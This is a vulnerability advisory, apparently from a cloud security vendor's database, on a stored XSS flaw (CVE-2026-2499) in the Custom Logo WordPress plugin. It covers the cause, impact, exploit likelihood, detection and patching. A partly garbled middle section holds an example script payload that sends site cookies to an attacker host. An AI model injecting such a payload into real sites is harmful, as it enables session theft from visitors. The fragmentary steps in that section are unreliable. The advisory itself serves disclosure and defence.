
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-2499 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Logo plugin for WordPress, affecting all versions up to and including 2.2. The flaw arises from insufficient input sanitization and output escaping in admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts into pages. It was published on February 26, 2026, and carries a CVSS v3.1 base score of 4.4 (Medium) (Feedly). Exploitation is limited to multi-site WordPress installations or those where unfiltered_html has been disabled.
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from the plugin's failure to properly sanitize administrator-supplied input in settings fields and escape output when rendering those values on pages (Feedly). An attacker must be authenticated with administrator-level privileges and operate within a WordPress multisite environment or one where unfiltered_html is disabled — conditions that restrict the attack surface considerably. The attack vector is network-based with high attack complexity and high privilege requirements, and no user interaction is required for the injected script to execute when a victim visits the affected page.
Successful exploitation allows a malicious administrator to persistently inject JavaScript into WordPress pages, which executes in the browsers of any user who visits those pages. The confidentiality and integrity impacts are rated low — an attacker could steal session cookies, perform actions on behalf of victims, or deface page content — while availability is unaffected (Feedly). The scope is changed, meaning the injected script can affect resources beyond the plugin's own security context, such as the broader WordPress site and its visitors.
No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2026-2499. The EPSS score is approximately 0.022% (0.000220), indicating a very low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The high privilege requirement (administrator-level) and the restricted environmental conditions (multisite or unfiltered_html disabled) significantly limit the practical exploitability of this flaw.
unfiltered_html disabled, and that the Custom Logo plugin version ≤ 2.2 is active.<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable admin settings field that lacks proper sanitization.<script> tags or JavaScript event handlers (e.g., onerror, onload) in the wp_options table entries associated with the Custom Logo plugin.wp option list) for unexpected script content.Users should update the Custom Logo plugin to a version beyond 2.2 that includes proper input sanitization and output escaping fixes — check the WordPress plugin repository for the latest patched release (Feedly). As a workaround, site administrators can ensure that unfiltered_html is enabled for trusted administrators on non-multisite installations, which prevents the vulnerability from being exploitable. Applying the principle of least privilege by limiting administrator accounts and enabling WordPress multisite network admin controls can further reduce risk.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."